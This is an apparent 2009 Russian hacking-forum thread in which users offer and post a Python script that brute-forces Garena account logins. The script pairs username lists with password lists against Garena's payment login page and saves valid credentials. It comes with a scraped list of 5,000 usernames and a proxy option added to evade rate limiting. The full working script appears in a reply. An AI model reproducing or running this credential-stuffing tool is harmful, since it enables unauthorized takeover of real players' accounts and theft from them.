Вход

Просмотр полной версии : Брутфорс garena


e4key
23.08.2009, 16:21
Написал сегодня от нечего делать брут garen'ы. Брут в один поток (может в скором будущем сделаю многопоточность). Хотите брутьте по 1 паролю на множество аков, хотите 1 акк на множество паролей ну или множество акков на множество паролей :)

Скрипт написан на Python.

Использование:

python garena.py

И ждем завершения :)

Для работы скрипта нужны файлы:

users.txt ;Список пользователей. Каждый с новой строки
passwords.txt ;Список паролей. Каждый с новой строки.

Естественно эти файлы должны лежать в той же директории, что и скрипт.

Результат сохраняется в файл results.txt в виде login;password.

Как бонус в архиве лежит сграбленный мной из топа игроков файл с 5к именами пользователей :)

upd: добавлена поддержка http-прокси

http://www.sendspace.com/file/0pz8gs

e4key
23.08.2009, 17:02
Так так... Обнаружено что спустя некоторое количество запросов юзеру отдается пустая страница вместо страницы логина :( Скоро освобожусь и сделаю работу через http прокси.

b3
23.08.2009, 17:05
Стоило создавать тему из-за вот ЭТОГО:

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import urllib
import re

users = open('users.txt', 'r').readlines()
passwords = open('passwords.txt', 'r').readlines()
hello = open('results.txt', 'w')

for user in users:
user = user.strip()
for password in passwords:
password = password.strip()
data = urllib.urlencode({'username': user, 'password': password, 'loginSubmit': 'Submit'})
page = urllib.urlopen('http://payment.garena.com/index.php?c=VXNlcg==&a=bG9naW4=', data).read()
login = re.findall('Login successfully', page)
if len(login) != 0:
print 'Login successfully: ' + user + ';' + password
hello.write(user + ';' + password + '\n')
else:
print 'Incorrect login: ' + user + ';' + password

Хотяб уже в придачу чекер сделал лвла и ГГшелов.

Sharky
23.08.2009, 18:54
http://forum.antichat.ru/thread107524.html
Закрыто!